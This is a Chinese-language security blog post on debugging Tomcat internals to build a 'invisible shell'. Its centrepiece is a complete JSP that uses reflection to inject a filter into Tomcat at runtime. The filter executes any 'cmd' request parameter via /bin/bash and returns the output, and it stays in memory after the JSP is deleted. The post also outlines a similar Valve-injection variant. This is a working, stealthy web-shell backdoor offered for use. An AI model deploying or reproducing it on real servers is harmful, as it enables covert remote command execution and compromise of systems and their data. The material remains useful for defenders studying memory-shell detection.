Tomcat 源代码调试笔记 - 看不见的 Shell 第一式

作者：n1nty@360 A-Team

抱着隐藏 shell 的目的去调试的 tomcat 的代码。我调试了tomcat 从接收到一个socket 到解析socket 并封装成Request 转发至 Jsp/Servlet 的全过程，找到了两个较为容易实现的方法（肯定还有其它的方法），这里记录一其中一个。另一个也很类似所以只记录一下思路。

1. 运行时动态插入过滤器

过滤器的基础概念以及作用这里不写了。

Servlet 规范（应该是从3.0 开始）里面本身规定了一个名为ServletContext 的接口，其中有三个重载方法：

FilterRegistration.Dynamic addFilter(String filterName,String className)

FilterRegistration.Dynamic addFilter(String filterName,Filter filter)

FilterRegistration.Dynamic addFilter(String filterName,Class<? extends Filter> filterClass)

这三个方法使得我们可以在运行时动态地添加过滤器。

Tomcat 对 ServletContext 接口的实现类为：org.apache.catalina.core.ApplicationContextFacade

但是并没有简单到直接调用一下这可以实现，因为 Tomcat 在对这个接口的实现中，是只允许在容器还没有初始化完成的时候调用这几个方法。一旦容器初始化已经结束，调用时就会出现异常：

我看了一下这个 if 之后的语句，并不是太复杂，这使得我们完全可以自己用代码来执行后面的逻辑。写的过程也没有太顺利，我完全复制了后面的逻辑，但是动态插入过滤器却没有生效。所以去重新调试了一遍tomcat 接收处理请求的全过程，发现为请求组装filterChain 是在 StandardWrapperValve 里面进行的：

真正的组装方法位于： org.apache.catalina.core.ApplicationFilterFactory#createFilterChain 代码太长不截图了，有兴趣的可以自己去看。

组装完成后开始调用过滤器链。

我将org.apache.catalina.core.ApplicationFilterFactory#createFilterChain方法内的细节与自己写的插入过滤器的细节做了对比，得出下面这个可以在Tomcat 8 （Tomcat 7 上的话需要小改一下）下实现我想要的目的 Jsp文件。直接看代码吧：

<%@ page language="java" contentType="text/html; charset=UTF-8"
    pageEncoding="UTF-8"%>
<%@ page import="java.io.IOException"%>
<%@ page import="javax.servlet.DispatcherType"%>
<%@ page import="javax.servlet.Filter"%>
<%@ page import="javax.servlet.FilterChain"%>
<%@ page import="javax.servlet.FilterConfig"%>
<%@ page import="javax.servlet.FilterRegistration"%>
<%@ page import="javax.servlet.ServletContext"%>
<%@ page import="javax.servlet.ServletException"%>
<%@ page import="javax.servlet.ServletRequest"%>
<%@ page import="javax.servlet.ServletResponse"%>
<%@ page import="javax.servlet.annotation.WebServlet"%>
<%@ page import="javax.servlet.http.HttpServlet"%>
<%@ page import="javax.servlet.http.HttpServletRequest"%>
<%@ page import="javax.servlet.http.HttpServletResponse"%>
<%@ page import="org.apache.catalina.core.ApplicationContext"%>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig"%>
<%@ page import="org.apache.catalina.core.StandardContext"%>
<%@ page import="org.apache.tomcat.util.descriptor.web.*"%>
<%@ page import="org.apache.catalina.Context"%>
<%@ page import="java.lang.reflect.*"%>
<%@ page import="java.util.EnumSet"%>
<%@ page import="java.util.Map"%>


<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>Insert title here</title>
</head>
<body>
<%
final String name = "n1ntyfilter";

ServletContext ctx = request.getSession().getServletContext();
Field f = ctx.getClass().getDeclaredField("context");
f.setAccessible(true);
ApplicationContext appCtx = (ApplicationContext)f.get(ctx);

f = appCtx.getClass().getDeclaredField("context");
f.setAccessible(true);
StandardContext standardCtx = (StandardContext)f.get(appCtx);


f = standardCtx.getClass().getDeclaredField("filterConfigs");
f.setAccessible(true);
Map filterConfigs = (Map)f.get(standardCtx);

if (filterConfigs.get(name) == null) {
   out.println("inject "+ name);

   Filter filter = new Filter() {
      @Override
      public void init(FilterConfig arg0) throws ServletException {
         // TODO Auto-generated method stub
      }

      @Override
      public void doFilter(ServletRequest arg0, ServletResponse arg1, FilterChain arg2)
            throws IOException, ServletException {
         // TODO Auto-generated method stub
         HttpServletRequest req = (HttpServletRequest)arg0;
         if (req.getParameter("cmd") != null) {
            byte[] data = new byte[1024];
            Process p = new ProcessBuilder("/bin/bash","-c", req.getParameter("cmd")).start();
            int len = p.getInputStream().read(data);
            p.destroy();
            arg1.getWriter().write(new String(data, 0, len));
            return;
         } 
         arg2.doFilter(arg0, arg1);
      }

      @Override
      public void destroy() {
         // TODO Auto-generated method stub
      }
   };

   FilterDef filterDef = new FilterDef();
    filterDef.setFilterName(name);
    filterDef.setFilterClass(filter.getClass().getName());
    filterDef.setFilter(filter);

    standardCtx.addFilterDef(filterDef);

   FilterMap m = new FilterMap();
   m.setFilterName(filterDef.getFilterName());
   m.setDispatcher(DispatcherType.REQUEST.name());
   m.addURLPattern("/*");


   standardCtx.addFilterMapBefore(m);


   Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
   constructor.setAccessible(true);
   FilterConfig filterConfig = (FilterConfig)constructor.newInstance(standardCtx, filterDef);


    filterConfigs.put(name, filterConfig);

    out.println("injected");
}
%>
</body>
</html>

将以上 JSP 文件上传至目标服务器命名为 n1ntyfilter.jsp，访问后如果看到“injected” 字样，说明我们的过滤器已经插入成功，随后可以将此 jsp 文件删掉。随后，任何带有 cmd 参数的请求都会被此过滤器拦下来，并执行 shell 命令，达到“看不见的 shell”的效果。

2. 动态插入 Valve

Valve 是 Tomcat 中的用于对Container 组件（Engine/Host/Context/Wrapper）进行扩展一种机制。通常是多个Valve组装在一起放在Pipeline 里面。Tomcat 中 Container 类型的组件之间的上下级调用基本上都是通过pipeline 与 valve 完成的。如果你熟悉 Struts2 中的拦截器机制，那么你会很容易理解valve + pipeline 的动作方式。Pipeline 就相当于拦截器链，而valve就相当于拦截器。

Valve 接口定义了如下的 invoke 方法：

publicvoid invoke(Request request, Response response)
    throws IOException, ServletException;

我们只需在运行时向 Engine/Host/Context/Wrapper 这四种 Container 组件中的任意一个的pipeline 中插入一个我们自定义的 valve，在其中对相应的请求进行拦截并执行我们想要的功能，就可以达到与上面Filter 的方式一样的效果。而且 filter 只对当前context 生效，而valve 如果插到最顶层的container 也就是 Engine，则会对 Engine 下的所有的context 生效。

以上两种方式，利用的时候都必须是通过 HTTP 的方式去真正地发起一个请求，因为在这些流程之前，Tomcat会检查接收自socket的前几个字节是不是符合HTTP 协议的要求，虽然被请求的文件可以不存在。如果想利用非HTTP 协议，则需要在tomcat 的Connector 上做手脚，这个复杂度就比以上两种方式要高很多了。

以上两种方式都会在 Tomcat 重启后失效。

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